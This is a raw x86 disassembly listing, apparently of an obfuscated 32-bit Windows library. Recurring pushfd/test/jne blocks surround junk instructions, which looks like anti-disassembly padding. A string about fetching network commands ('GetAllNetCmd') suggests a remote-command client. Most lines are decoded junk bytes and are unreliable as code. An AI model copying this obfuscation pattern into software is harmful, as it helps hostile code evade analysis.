mov dword [esi], ebx
pushal
insb byte es:[edi], dx
pop es
push 0xffffffffffffffad
inc ecx
sbb eax, 0xb689dfa6
in al, 0xa
rol ebx, 1
aaa
stosd dword es:[edi], eax
and dword [0x4c89457b], esp
pop ecx
lahf
or dh, byte [ebx + ebx*8 - 0x7a]
add al, 0x38
popfd
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1011e48a
pushfd
test byte [0x10089fcf], 0x45
jne 0x10089fd0
dec ebp
invalid
in al, dx
inc ecx
sahf
in eax, 0x5c
in eax, dx
out dx, eax
enter 0xffffffffffff9edd, 0xffffffffffffff9a
loop 0x10089f45
xchg esi, eax
out dx, al
and ebx, edx
out dx, eax
and ch, dl
ja 0x10089fac
cdq
rcl ch, 1
ja 0x10089fe1
movsd dword es:[edi], dword [esi]
jbe 0x10089fd0
out dx, eax
inc esi
adc eax, dword [ecx + 0x2c]
jae 0x10089f68
cmp ah, ch
jae 0x10089ff5
pop edi
aas
and byte [edi], dl
push ebx
inc esp
push ecx
push es
cmp eax, edx
fist word [edx]
dec edi
invalid
popfd
leave
ret 0xc
out dx, eax
clc
je 0x1008a048
xchg ecx, eax
in eax, dx
push edx
mov dl, 0xa3
lodsb al, byte [esi]
mov al, 0xb6
add dword [ecx + 0x3b], ebx
cmc
pop edi
dec edx
bound ecx, qword [ecx]
mov ecx, 0xe9cb2318
or dword [ecx - 0x1634dce8], edi
sub bh, byte [bx - 0xf6a]
push ss
into
push es
in al, 0x24
dec eax
lahf
xchg ecx, eax
mov edi, 0xbad54a8f
sub al, 0xfc
xor al, 0xd6
daa
xchg ebx, eax
push es
mov ecx, 0x5349b896
aad 2
popfd
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10141965
mov eax, dword fs:[0]
push eax
mov eax, 0x177c
call fcn.1011f220
push ecx
or dword [eax], eax
mov eax, dword [0x10170c30]
xor eax, ebp
mov dword [ebp - 0x10], eax
pushfd
test byte [0x1008a073], 0x7d
jne 0x1008a174
jge 0x1008a059
test dword [0x3f000001], esp
aas
fisubr word [edx]
and edx, dword [esi + 0x6d]
imul ebx, dword [ebx], 0xb
aam 0xae
scasb al, byte es:[edi]
mov esi, 0x49447272
jge 0x1008a070
scasd eax, dword es:[edi]
inc edi
dec ebp
lodsd eax, dword [esi]
or byte [ebp - 0x49], 0xa5
cmp byte [eax - 0x24], 0xbc
mov ah, byte [ebp - 0x4ea58912]
rcr edx, 1
mov ds, esi
add dword [esi + 0x46], edx
jbe 0x1008a0cc
mov cl, 0xd1
fimul dword [esi + 0x465601de]
pop esp
sal byte [0xe91582fa], 0xb
stc
mov esi, 0x91ecdf08
fstp st(1)
or eax, 0x41ac80ab
sub eax, 0x471d5888
fcomp qword ss:[edi]
clc
jge 0x1008a034
and byte [ebp + 0x76], bh
das
mov bh, 0x63
shr eax, 0xbd
inc eax
fist word [edi - 0x38]
mov ecx, esp
pop edi
mov ah, 0x3c
mov byte [edx], bh
fcmovne st(0), st(3)
das
or esp, dword [edx]
sub eax, 0x869da03a
jns 0x7a784d78
mov edi, 0xec41159
cld
nop
les ebp, [edx + ebp*2 + 6]
and byte [eax], al
stc
pop edi
dec esp
movsd dword es:[edi], dword [esi]
xchg dword [ebx - 0x31], ebp
or dword [ebp + 0x1b124c3b], ecx
leave
test byte [ebx], 0x23
rcr byte [edi], 1
mov ah, 0x3a
cmp dword [esi], esp
ror dword [edi], cl
movsb byte es:[edi], byte [esi]
push ss
inc ebx
mov ebx, 0x8c6061a8
xchg ebp, eax
mov dword [0x3ec82c38], eax
mov eax, 0x8be432cb
xchg esp, eax
mov cl, 0x52
aaa
int 0xb3
lodsb al, byte [esi]
nop
fcomp dword [edx]
fimul word [ecx]
inc esp
and dword [eax - 0x50], 0x58
xchg edi, eax
pop eax
or dword [ebx], edx
sbb eax, 0x6e346a41
sub byte [esi], ah
rcr byte [esp + edi], 1
js 0x1008a0b1
fiadd dword [esi + 0x5b35ce91]
sbb al, 0x42
push eax
mov dl, 0x87
test al, 0x23
insd dword es:[edi], dx
ror byte [edx - 0x2b1c2ddb], 0xae
mov ebp, 0xee0eda9e
xchg edi, eax
mov al, 0xe5
push ebx
add dword [edi + 0x41], edx
push 0x77
ja 0x1008a0d8
test al, 0xb2
out 0xa5, al
pop ebp
sub al, 0x3f
dec ebp
inc ebx
mov byte [esp + edi*4 + 0x7f0adc0b], 0x75
xchg edi, eax
mov ebx, 0xa6148189
or edx, dword [ebp + 0x50]
push ds
add al, 0x7e
mov esi, 0xbff9f111
div byte [ecx + 0x63d78765]
sbb eax, ebx
ror byte [eax], 0x9d
dec esi
sub ah, byte [esp]
xor cl, cl
nop
popfd
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
pushfd
test byte [0x1008a1ad], 0x87
jne 0x1008a1ae
jb 0x1008a176
sbb dword [esi - 0x30239bd3], ebx
jle 0x1008a1a7
add eax, 0xf5fbf19d
fist word [eax]
mov dword [ebp + 0x12f09b3b], ebx
les eax, [edx]
lea eax, [0xffd60cf]
add cl, byte [ebp - 0x29f30fb]
setge byte [ebx - 0x377c7227]
pop es
add byte [eax], al
popfd
mov ebx, ecx
lea eax, [ebx + 0x7c8]
push eax
mov dword [ebp - 0x1750], ebx
mov dword [ebp - 0x1764], edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
pushfd
test byte [0x1008a2a3], 0xa
jne 0x1008a2a4
fiadd dword [ecx]
or ebx, ebx
imul ebx, dword [eax - 0x7bb80cff], 7
push ds
cmpsb byte [esi], byte es:[edi]
sahf
or dword [ebx + edx - 0x29], ebp
lea edi, [esi - 0x38]
add edi, dword [ecx - 0x2e]
push 0xffffffffffffffe1
daa
loop 0x1008a197
je 0x1008a25d
push ebx
or dword [eax + 0x3ef8b7c3], ecx
sbb dword [ecx - 0x41], eax
rol dword [eax], 1
jg 0x1008a254
inc esi
mov edi, 0x2ef54606
into
xor ah, byte [ebx]
pop edx
xchg ebx, eax
out dx, eax
mov bh, 0xcb
sbb dword [eax + 0x62], ebx
mov eax, dword [0x8f4545a4]
popal
mov dword [eax - 0x4ec34f2c], ecx
enter 0x4ac2, 0x46
mov al, 0x4a
loop 0x1008a236
xchg esi, eax
and ch, byte [eax - 0x6e]
or esp, esp
mov esi, esi
or bl, byte [eax + 0x66]
add bl, byte [edx + 0x1c]
add bl, byte [edx + 0x1c]
mov cl, 0x9f
jbe 0x1008a212
cmp eax, 0xe0a82b30
sar dword [ebx], 1
or eax, 0xe8118b4
cld
push 0x54b77e77
dec edi
fcmovne st(0), st(5)
push cs
push cs
push ds
pop eax
or eax, 0xd2559288
mov gs, word [ebp + 0x56]
insd dword es:[edi], dx
push esi
cmp bl, al
imul esi, edi, 0x4f
sub byte [edx - 0x4e1dc94d], ah
ror dword [eax - 0x2513e3bb], 0x50
push ebp
rcr ebp, 1
out dx, eax
or dword [ebx], ebp
add esp, ebx
inc esi
and eax, 0xeb2e45a3
and byte [ebx - 0x6783e1a8], ch
sub dl, cl
outsd dx, dword [esi]
cmp byte [eax], bh
and eax, 0x13f937af
les eax, [esi + 0x608b1e93]
outsd dx, dword [esi]
push edx
mov bh, byte [eax - 0x27]
leave
pop esp
int3
popfd
jmp 0x1008a61a
mov eax, dword [ebx + 0x798]
mov eax, dword [eax]
mov ecx, dword [edi]
add eax, 8
push eax
pushfd
test byte [0x1008a443], 0x9a
jne 0x1008a444
lcall 0, 0x90850f
sbb dh, byte [eax - 0x16]
jnp 0x1008a3ad
dec ebp
pop edx
scasd eax, dword es:[edi]
adc eax, 0xa5bc29b
xchg edx, eax
xchg byte [ebx], dh
mov ch, 0xec
cmpsb byte [esi], byte es:[edi]
cdq
push esi
stc
dec ebp
xchg ecx, eax
inc eax
mov edx, 0x5f081488
scasb al, byte es:[edi]
lds ecx, [ecx + eax*4]
mov ebp, 0x446d9b89
add al, 0x53
or ch, dl
cmc
leave
frstor dword [ebp + 0x6e]
xor byte [eax - 0x2956fcbb], dl
mov ecx, 0xe996bb77
clc
cmp dword [ebp + edx*8 - 0x2458d233], 0x477c55e
sbb al, 0xb2
in al, dx
cld
xchg ebx, eax
sub eax, 0x238921a4
sbb byte [ebp + eax*2 - 0x1d], cl
pop ebp
and ah, ah
in eax, dx
and byte [edi], ah
inc eax
xchg edi, eax
and dword [0x2fc8a092], edx
fyl2xp1
cld
and byte [edx], bh
xor byte [ebp - 0x5d], ah
mov eax, dword [0x74846e2]
fmul dword [edx - 0x65]
jecxz 0x1008a41a
fiadd dword [esi - 0x2f25412d]
sal dh, 1
push ecx
push ebp
not byte [ecx + 0x55]
xor byte [edi + 0x2f], 0x12
insd dword es:[edi], dx
fdiv dword [edi + 0x2676653d]
fild word es:[edx]
sbb ebx, ebp
popfd
push ecx
pushfd
test byte [0x1008a486], 0xc2
jne 0x1008a487
mov edx, 0xc5d77789
dec esi
enter 0xffffffffffffbdf9, 0xffffffffffffff8a
xlatb
mov dl, bh
push eax
les esi, [esp + ebx]
push ebx
mov ebx, dword [esi + 0x4a38f206]
dec edx
push ebp
push esi
pop eax
push ss
into
test byte [edi + esi], al
add al, 0x8c
sbb edx, dword [edx - 0x47a9f6b9]
salc
sub edx, dword [edx + eax*2 - 0x4b]
mov edx, 0x9885097d
pop ds
cli
xchg esp, eax
popal
popfd
mov ecx, edi
pushfd
test byte [0x1008a579], 0xd7
jne 0x1008a57a
jecxz 0x1008a4d9
int1
dec edx
xor eax, 0x2101ca3a
pushfd
push esi
jg 0x1008a431
push ds
popfd
ja 0x1008a4d3
cmc
cmpsd dword [esi], dword es:[edi]
xor byte [eax], ah
mov byte [eax + 0x2936a79d], cl
jns 0x1008a50e
xchg esi, eax
aaa
aas
stosd dword es:[edi], eax
mov dl, bl
cmp edx, dword [edx - 0x24]
in al, dx
pop eax
stosb byte es:[edi], al
adc esi, dword [esi]
jg 0x1008a468
pushal
jl 0x1008a45a
dec edi
mov dh, 0x4f
aam 0xc5
int3
clc
mov bl, 0x8d
movsd dword es:[edi], dword [esi]
or byte [edi], 0xab
stosd dword es:[edi], eax
inc ecx
and al, 0xe3
mov cl, 0x96
or byte [ebp - 0x5ce709b9], ch
mov edi, 0x4d98aae4
stosd dword es:[edi], eax
aas
aam 0x44
xor dword [ecx], edi
shl byte [edx], 1
push eax
cld
test dword [ebx], 0x679f0283
xlatb
dec edx
or cl, byte [ecx]
mov al, byte [0x1d526d2a]
push esi
salc
mov eax, 0x83722be0
mov dword [edi + edi*8], esi
out dx, al
push edi
push edx
scasb al, byte es:[edi]
pop ss
popal
salc
mov ch, 0x26
inc eax
dec ebp
ja 0x1008a4f4
invalid
mov edi, 0xb9097516
adc esp, eax
jnp 0x1008a4f4
xchg esp, eax
lea ebp, [ecx + edi*8 + 0x125ee382]
aaa
pop ss
and byte [eax + 0x1c12ebd1], 0x5b
movsb byte es:[edi], byte [esi]
outsd dx, dword [esi]
adc dword [eax + 0x74534a3f], edi
jge 0x1008a570
je 0x1008a507
jb 0x1008a53e
push ecx
scasb al, byte es:[edi]
adc eax, 0xaf62d126
cmpsb byte [esi], byte es:[edi]
cmpsb byte [esi], byte es:[edi]
mov dl, 0x4e
pop es
imul edi, dword [edx], 0xd8d5270a
mov eax, 0xab54c642
int 0xc0
pop ss
int3
cmp dword [edi + edx], eax
add byte [esi], al
or eax, 0xecdb26fa
popfd
call fcn.10036453
mov eax, dword [ebx + 0x798]
push dword [eax]
pushfd
test byte [0x1008a606], 0xdd
jne 0x1008a607
js 0x1008a5b4
add ebx, dword [edi]
cmc
or dword [ecx], 0xcff47c2c
cmpsd dword [esi], dword es:[edi]
dec ebp
dec byte [ecx]
cmpsb byte [esi], byte es:[edi]
push esi
cli
int3
int 0xcc
cld
dec ebx
push edi
clc
mov eax, dword [0x1f43ed2f]
in eax, dx
inc ebx
pop ds
push ebp
push edx
jb 0x1008a5fc
leave
jbe 0x1008a5a1
xchg ecx, edx
push 0x7ca653f8
jg 0x1008a63f
inc ecx
push ss
cli
dec esi
stosd dword es:[edi], eax
lds ebx, [eax - 0x10]
inc edx
setno byte [esi]
sbb dword [ecx], edx
pop eax
sar bl, 1
nop
dec edi
mov ebp, 0x8239fb33
push edi
xor dword [ebx], ebp
scasd eax, dword es:[edi]
js 0x1008a5ac
cli
sub al, 0xde
in eax, dx
sub dl, bl
rcl byte [ecx - 0x32ab6b7b]
sbb dl, byte [ebx + 0x6f]
mov ch, 0xe0
mov eax, 0x7e5bcfbf
into
adc al, 0x8b
cmp byte [edi - 0x7dff5fb2], al
pushfd
invalid
popfd
lea eax, [ebp - 0x1760]
push eax
lea ecx, [ebx + 0x798]
call fcn.100694bd
cmp dword [ebx + 0x79c], 0
jne 0x1008a398
lea eax, [ebx + 0x7c8]
push eax
pushfd
test byte [0x1008a707], 0xd2
jne 0x1008a708
jle 0x1008a608
mov edi, 0x955c25aa
mov esi, 0xa66cd588
stosb byte es:[edi], al
and eax, 0x88be955c
aad 0x6c
cmpsb byte [esi], byte es:[edi]
mov dh, 0xc1
das
pop esi
mov cl, 0x9c
into
xor dword [eax + 0x66524328], ebx
cmp esi, dword [ebp - 0x7694d2fd]
mov ah, 0xac
pop esi
push 0xadac60e2
jecxz 0x1008a669
xor byte [ecx + 0x79], dl
rol dword [eax - 0x54ec3c75], 0x98
fnstsw word [ecx + 0x69c10345]
cmpsd dword [esi], dword es:[edi]
test dword [eax + 0x46d85f74], esp
mov edx, 0x554acbca
or byte [eax + 0x43], ah
shl byte [ebx - 0x6e], 1
sar dword [edx + 6], cl
sti
les esp, [ecx]
push edi
scasb al, byte es:[edi]
scasb al, byte es:[edi]
mov dword [bp + si], ebp
mov dword [edx], ebp
push ebx
cmpsd dword [esi], dword es:[edi]
daa
mov bh, 0x62
mov eax, dword [0x3bc8be5e]
xchg byte [ebp + 0x68], ah
sub dword es:[ebx - 0x60], edi
cmp byte [0xec9cde90], ch
and eax, dword [ebp - 0x4b702937]
jbe 0x1008a692
cwde
adc dword [ecx - 0x55], esp
mov ah, byte [ebx - 0x56dc4184]
call 0x79b4c0b7
jg 0x1008a6c4
jmp [ebx]
sub ebp, dword [esp + ecx*8 + 0x2970a237]
push ebx
pop ebx
cli
in eax, dx
mov byte [ebp - 9], bh
xor eax, 0x9bab3b02
push es
sub eax, 0x8fa1cfdb
aaa
sbb dword [ecx - 0x43], ebx
push ss
movsd dword es:[edi], dword [esi]
push es
sub byte [ebx - 0xf27fcb0], ch
scasb al, byte es:[edi]
mov al, byte [0x61a7e480]
mov ah, 0x36
mov edi, 0xeed626fb
salc
out dx, al
cwde
repne stosd dword es:[edi], eax
jl 0x1008a6f7
test eax, 0x2948f5fd
enter 0x47f1, 0xffffffffffffffa6
popfd
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pushfd
test byte [0x1008a71a], 0xac
or byte [eax], dl
lodsb al, byte [esi]
jne 0x1008a71b
aaa
popfd
push 0x3f
xor esi, esi
lea eax, [ebp - 0x4f]
push esi
push eax
mov byte [ebp - 0x50], 0
call fcn.1011df60
lea eax, [ebp - 0x50]
push eax
pushfd
test byte [0x1008a7f4], 0x53
je 0x1008a7f5
mov word [0xad62ed52], ax
inc eax
mov dh, 0xf0
mov ebp, 0x1d05fe07
dec edx
outsd dx, dword [esi]
cmp ecx, dword [ecx]
shr byte [ebp - 0x7b0fc3ce], 0xa9
into
fcmovb st(0), st(6)
sbb ebx, ecx
push eax
loopne 0x1008a714
mov bl, 0x7b
jo 0x1008a7e6
cmp eax, 0xc112d762
push 0xffffffffffffffd2
daa
xor byte [eax + ecx*8 - 0x80], dl
dec ecx
sbb cl, byte [esi + esi*2 + 0x5804c166]
mov ebp, 0xa7a9796c
mov dword [0xfac342ba], eax
into
inc esi
and cl, al
pop es
out 0xa2, eax
pop edx
sub byte cs:[ecx], bl
mov dword [0x798dbebf], eax
cmp edx, dword [edx + ebp*8 - 0x4084bf73]
cld
mov dword [ecx - 0x5c], ecx
in al, 0xc5
cdq
inc ecx
sal byte [edx - 0xa15ccb5], 0x8f
div byte [edi - 0x3420c252]
scasb al, byte es:[edi]
add dword [eax], eax
xor ah, byte [ecx + 0x3e2f3783]
jb 0x1008a7ba
in eax, 0xc1
push edx
sbb dword cs:[esi], eax
popfd
fsub dword ss:[esi]
nop
push es
mov eax, 0x240fac54
aaa
push ecx
les ecx, [ebp + 0x11a89e33]
aam 0x2f
adc al, 0xb4
xor al, 0x1b
test dword [edi + 0x2a9e86bb], eax
mov ch, ah
outsd dx, dword [esi]
cmpsd dword [esi], dword es:[edi]
lahf
or dword [edi + 0x2361171f], ebp
call dword [eax - 0x51]
push eax
scasd eax, dword es:[edi]
inc ecx
dec edx
insb byte es:[edi], dx
lodsd eax, dword [esi]
lodsb al, byte [esi]
popfd
lea eax, [ebx + 0x6ef]
push eax
call fcn.100471db
add esp, 0x14
test eax, eax
pushfd
test byte [0x1008a821], 0x6c
jne 0x1008a822
adc dword [esi + 0x12031a29], ebx
sahf
sub dword [edx], ebx
add edx, dword [edx]
jbe 0x1008a7ee
rol dword [0xa428e67e], 0x8d
int 0x7c
popfd
jne 0x1008a8f6
add byte [eax], al
pushfd
test byte [0x1008a8ec], 0x42
jne 0x1008a8ed
pop ebp
mov word [eax + 0x82745e5], cs
fcmovne st(0), st(3)
jbe 0x1008a827
outsb dx, byte [esi]
test byte [edx + ecx*4 + 0x5e], dl
daa
and ah, byte [edx + 0x50]
pop ebp
or eax, 0xef41a074
pop es
push ss
mov eax, dword [0x5c4af5a3]
dec ebp
sub dword [esi + edi + 0x6d], edx
test byte [ebp + 0x416387d5], 0xef
test ebp, edx
xchg dword [ebx + 0x41], esp
out dx, eax
aam 0xa7
std
xlatb
cmpsb byte [esi], byte es:[edi]
sbb ah, byte [ebx]
rol byte [edx], cl
lodsb al, byte [esi]
jns 0x1008a810
daa
fsubr dword [ebp + 0x77a299c3]
aam 0x9b
in eax, dx
push ebx
scasd eax, dword es:[edi]
aas
adc dword [ebx + 0x23], 0x70
mov dl, byte [edx + 0x79]
ja 0x1008a85e
push ss
fldcw word [ecx]
pop edx
xchg dword [edi + 0x3e], esi
nop
or dword [ebp - 0x2f6b1dd6], 0xa2b48cbc
mov bh, 0x76
bound edi, qword [edx]
or dword gs:[ebx - 0x1a], ebp
xchg ecx, eax
mov al, 0xfe
mov ebx, 0x3f7d3705
aas
and byte es:[eax - 0x33ed7fa1], dl
pushal
imul esp, dword [esi - 0x3ae2d808], 0x6d396a64
jle 0x1008a8a7
push ss
cdq
outsb dx, byte [esi]
or bh, bh
or ch, bh
std
inc esi
push ss
stc
adc al, 0x2b
insb byte es:[edi], dx
push esi
ror al, cl
dec ebx
xchg dword [ebx], ecx
add ecx, eax
add eax, 0xc1df543c
and eax, 0xefb06790
mov bh, 0xd5
imul edx, dword [esi - 0x4b9b649], 0xfffffff2
sub eax, 0xe647be18
lea eax, [edi]
scasd eax, dword es:[edi]
popfd
or eax, 0xffffffff
jmp 0x1008e941
push 0x103
lea eax, [ebp - 0x1d3]
pushfd
test byte [0x1008a9e6], 0x78
jne 0x1008a9e7
mov cl, 0x94
outsb dx, byte [esi]
mov ah, 0x73
push ss
test ah, ch
fnstcw word [ebx + 0x5b]
rcr ebx, 1
dec ebp
pop esi
and dword [ebx - 0x15d3f646], 0xee1a5a16
mov al, byte [0x4497259d]
fbstp tbyte [eax]
dec edx
cmp ah, byte [edi - 0x3e]
stc
je 0x1008a8c3
loopne 0x1008a96c
sub dword [edi - 0xc], esi
push ecx
add al, 0x31
lea edx, [edx]
add esi, dword fs:[eax + 0x158e6f42]
pushfd
and esi, edx
jae 0x1008a983
bnd jae 0x1008a983
add al, 0xd5
pop ebx
inc esp
clts
xlatb
mov ecx, 0x277339ff
div dword [ecx + 0x60]
lodsd eax, dword [esi]
js 0x1008a9dd
cdq
sti
push ds
mov bh, 0xd7
scasd eax, dword es:[edi]
fisub dword [edi - 0x2383f5ad]
jl 0x1008a94a
int3
cdq
push ecx
pop es
lds eax, [ebp + 0x15cc01c4]
or dword [esi], edi
dec edx
adc eax, 0x723ecf0f
dec edi
mov dl, 0
xor dword [eax + 0x275e8d6c], 0xe4c982f0
outsd dx, dword [esi]
dec edi
xchg edx, eax
aaa
out dx, eax
push ecx
mov fs, word [ebx + eax*2 - 0xb]
xor al, 0xfb
sti
mov al, 0x8d
or ebp, ecx
add eax, 0x8aaed4af
add byte [esi], al
push es
ja 0x1008a9b8
xchg ecx, eax
dec ecx
cmc
adc byte [ebp + ebx*2 - 0x41], 0x35
aam 0x2a
or byte [esi - 0x20140628], dl
push ebp
nop
jbe 0x1008a9b9
int1
test dword [edi - 0xc], ebp
push edx
insb byte es:[edi], dx
xor al, 0xa1
sbb al, 0xd3
inc esi
pop ebx
inc edi
cmp dword [ebx + 0x65], 0xffffffe4
pushal
jnp 0x1008aa44
in al, 0x60
cmp byte [eax], dl
sub dword [ecx], edx
cmc
dec ecx
popfd
push esi
push eax
mov byte [ebp - 0x1d4], 0
inc dword [eax]
call fcn.1011df60
pushfd
test byte [0x1008aa0e], 0xcc
jne 0x1008aa0f
test eax, 0x546bfab1
pop ds
sbb al, 0x46
inc ebx
enter 0x6a1f, 0x33
jnp 0x1008a9ad
popfd
push 0x3ff
lea eax, [ebp - 0x5d3]
push esi
push eax
mov byte [ebp - 0x5d4], 0
call fcn.1011df60
lea eax, [ebp - 0x175c]
pushfd
test byte [0x1008aa50], 0xcc
jne 0x1008aa51
xchg esp, eax
dec esp
sub edi, dword [eax - 0x7f]
dec ebp
dec ebx
mov eax, dword [0x331149c8]
shr byte [edi + 0x71bbfcb5], 0xbf
mov esp, 0xe2376183
xor eax, eax
scasd eax, dword es:[edi]
mov ch, 0xfc
mov ebx, 0x83bcbf71
popal
aaa
loop 0x1008a9ef
popfd
push eax
mov dword [ebp - 0x173c], esi
mov dword [ebp - 0x1738], esi
mov dword [ebp - 0x175c], esi
mov dword [ebp - 0x1758], esi
call fcn.1011e6dd
lea eax, [ebp - 0x173c]
push eax
call fcn.1004e481
mov eax, dword [ebp - 0x173c]
add esp, 0x20
or eax, dword [ebp - 0x1738]
jne 0x1008ac08
pushfd
test byte [0x1008ab54], 0x7b
jne 0x1008ab55
int3
push ss
xor eax, dword [ecx - 0x14a65f98]
mov ah, 0xd3
fadd dword [edx + 0x45b75905]
adc eax, 0xb5bb0adc
dec esp
push cs
cmpsd dword [esi], dword es:[edi]
or eax, 0x1825a617
add eax, 0xb112a621
mov ebp, 0x828d5656
xchg ebp, eax
pop es
add eax, 0xb94784e2
test byte [edi - 0x47], al
xor byte [esi + 0x6f4767ec], bh
cli
inc eax
scasd eax, dword es:[edi]
popfd
mov eax, dword [ebp - 0x175c]
mov dword [ebp - 0x173c], eax
pushfd
test byte [0x1008abfa], 0xb0
jne 0x1008abfb
stosd dword es:[edi], eax
or byte [eax], dl
mov al, 0xf
test dword [ebx - 0x4b000000], ecx
aam 0x7f
stosd dword es:[edi], eax
mov ch, 0xd4
jg 0x1008ab1f
sub bh, byte [eax + eax*8 - 0x49]
mov al, 0x61
dec edi
call 0xa5c8172
add dword [ebx], edi
cmc
adc eax, 0xa1938f8
sub ebx, dword [ebx - 0x39]
xor al, byte [ecx + edi*8]
dec edx
clc
je 0x1008ab49
or dword [ebx + 0x1823f319], ebx
dec ebx
aad 0xd8
cmp dword [eax], edi
das
int 0x73
adc bl, byte [ebx]
sub ecx, 0xfe0c4153
or al, 0xfe
or dword [eax], esi
and dh, byte [eax - 0x69d74d9e]
jle 0x1008ab66
jbe 0x1008aba7
daa
out 0x4a, eax
sub eax, 0xa32b95c
xor byte [ebx + 0x8ac6ed3], cl
and ch, byte [eax - 0x4b0b1782]
xchg esi, eax
or esp, dword [edx + 0x74bd775e]
mov ecx, 0xc6c4e321
popal
cmp eax, 0x4f870450
daa
lea ebp, [esi + 0x37dfd346]
push ss
outsb dx, byte [esi]
sub bl, byte [esi + edx - 0x40]
lodsb al, byte [esi]
cmp eax, 0x91ddb5e3
clc
pop edi
in al, dx
in eax, dx
in eax, 0xa3
xchg dh, al
dec ebp
xchg esp, eax
popfd
mov eax, dword [ebp - 0x1758]
mov dword [ebp - 0x1738], eax
lea eax, [ebp - 0x175c]
pushfd
test byte [0x1008ad13], 0x95
jne 0x1008ad14
invalid
fild qword [ebx + 0x77021ae7]
mov byte [esi + 0x7d], dh
sub byte [ebp - 0x2b48a4b4], dl
push ecx
cli
or esp, dword [ebp + esi*4 - 0x5d0a1c09]
push edx
pop ecx
inc esi
pop ebx
leave
je 0x1008ac0c
pop edx
int3
popfd
push eax
pushfd
test byte [0x1008add9], 0x29
jne 0x1008adda
daa
pop ebx
cld
fimul dword [0xc9302857]
mov esi, 0xd833778c
pop esi
inc ebp
cld
pop eax
inc esi
cmp al, 0xc8
xchg ecx, eax
out 0x17, eax
mov bh, 0x3c
adc edi, dword [ebx - 0x3b]
cmpsb byte [esi], byte es:[edi]
in eax, dx
sub al, 0x4d
cdq
imul edx, dword [esi], 0xffffffbd
sub dword [edi + 0x72], edx
out dx, eax
mov esp, 0x9885c661
xor eax, 0xe3fb8112
mov ebp, 0x2b698526
cld
dec edx
or dword [ebp - 0x70], 0x5d464f04
in al, 0xf
adc dword [ebx - 0x15], edi
push es
popfd
jg 0x1008adab
int1
or esp, dword [edi - 0x1e]
loop 0x1008ad3e
in al, dx
add ch, bl
mov dh, 0x24
add dh, byte [esi - 0x5cd022c8]
jle 0x1008ad7b
and al, 2
mov dh, 0x38
invalid
adc dword [eax - 0x3e42138], 0xffffffa9
mov word [esi + eax*2], gs
xor eax, 0x5463ed29
add al, 0x9f
sub eax, 0x9af920e2
pop esp
adc dword [eax + ebp*2], ebp
div dh
jo 0x1008ae1f
sub esp, dword [esi + 0x19]
scasd eax, dword es:[edi]
sbb dword [edi + 0x54], 6
jo 0x1008addb
das
cmp eax, 0x9050f41a
cmp eax, 0xf2dfc945
mov ch, byte [esi - 6]
cli
inc esi
mov dh, 0xd5
sub ecx, dword [eax]
fimul word [ebp - 0x4e]
neg byte [edx]
mov edi, 0xdc584882
xor edx, dword cs:[ecx + esi*2 + 0x40b41e72]
or byte [edi], bh
mov dh, 0xe0
mov ebx, 0xf2450f78
popfd
call fcn.10122168
pushfd
test byte [0x1008ae31], 0xb9
jne 0x1008ae32
adc ch, ah
push cs
push cs
mov al, byte [0x3ade644a]
salc
les esi, [esi]
outsb dx, byte [esi]
dec esi
outsb dx, byte [esi]
insb byte es:[di], dx
xchg ebp, eax
popal
pop edi
int 0xf8
fistp qword [eax]
inc eax
mov byte [ecx + 0x51], ch
or byte [ebx], cl
loop 0x1008ae31
mov ebx, 0xf0d3d534
mov al, byte [0x5baf1bca]
sub al, 0x97
mov ebx, 0x19acd9f5
fdiv qword [ecx + edx - 0x4b4646dc]
pop eax
mov bl, 0xd2
sbb eax, 0x4f8fc81c
mov ecx, 0xb358b4b9
rcr byte [0x4f8fc81c], cl
mov byte [ebx + 0x20], al
les esi, [ebx]
mov ah, 0x60
inc ebx
and ah, al
xor esi, dword [eax + 0x96a9d45]
inc ebp
popfd
push 9
mov esi, eax
pop ecx
lea eax, [ebp - 0x668]
lea edi, [ebp - 0x668]
rep movsd dword es:[edi], dword [esi]
push eax
pushfd
test byte [0x1008ae81], 0x21
je 0x1008ae82
push 0x4ebb9ee8
mov eax, dword [0x347d608b]
mov edi, 0x42654f82
push eax
jecxz 0x1008ae2b
movsb byte es:[edi], byte [esi]
mov bh, 0x83
xor byte [edx - 0xb], bl
ror dword [ecx - 0x597441f8], 0x11
push ecx
sub ebx, dword [edi - 0x65c9de07]
push eax
fadd dword [ebx]
mov ebp, esi
invalid
popfd
lea esi, [ebx + 0x708]
call fcn.1012237b
push eax
push esi
pushfd
test byte [0x1008af43], 0xfc
jne 0x1008af44
or eax, 0x1bf2264d
adc byte [ebp + 0x60b01710], 0xbc
clc
inc ebp
inc esp
out dx, eax
pushfd
and byte [esi - 0x72], 0x39
lodsd eax, dword [esi]
mov ebp, dword [ecx + 0x66]
les edi, [ecx + ebp*8 - 0xd]
leave
je 0x1008af13
sbb dword [ecx], edi
in eax, 0x42
mov esi, 0x520ff6bf
xor eax, 0x1b14cdb4
and ebp, ebx
mov al, byte [0x3448f10d]
xchg edx, eax
sal ch, cl
push edi
jne 0x1008af3a
adc al, 0xe5
xor dword [edi + eax*4 - 0x41], esi
mov bl, 0x15
mov ecx, 0xa8676674
mov ebx, 0x5053100c
lea ecx, [ebp + 0x5a]
cli
xchg ebx, eax
mov ch, 0xe0
inc eax
mov eax, 0xdf863490
inc ecx
mov eax, dword [0xbd3d7b9]
push es
sub eax, 0x11aaf359
xor eax, 0x611c03e
sbb byte [ebx - 0x7e], cl
adc byte [eax], dl
xor dword [edx + 0x1d695bfa], esi
cmpsd dword [esi], dword es:[edi]
push edi
pop ebp
cmp al, 7
pop ecx
bound ecx, qword [esi - 0x3d889821]
cwde
inc ebp
popfd
add dh, ch
adc ah, byte [ebx - 0x6c]
rcr esi, 0x52
stosb byte es:[edi], al
dec ebp
enter 0x45ce, 0x2c
mov bl, 0xdf
xor byte [edx], cl
pushfd
inc ebp
int1
int1
imul ebx, dword [0x3c5d57a7], 0x8e625907
fbld tbyte [edi + 0x77]
ret 0x4598
inc edi
cdq
xchg edi, eax
dec esi
sti
xor eax, 0xe2884926
popfd
push str.Begin_GetAllNetCmd_from__s_Time:_s
pushfd
test byte [0x1008af6b], 0xaa
jne 0x1008af6c
mov al, 0x60
mov al, byte [0x5416a5c8]
sti
dec eax
loopne 0x1008af74
and byte [ebx + 0xf12b41f], bh
inc ebp
mov ah, 0x70
adc dl, bl
mov dl, 0xd4
popfd
xor edi, edi
push edi
push 3
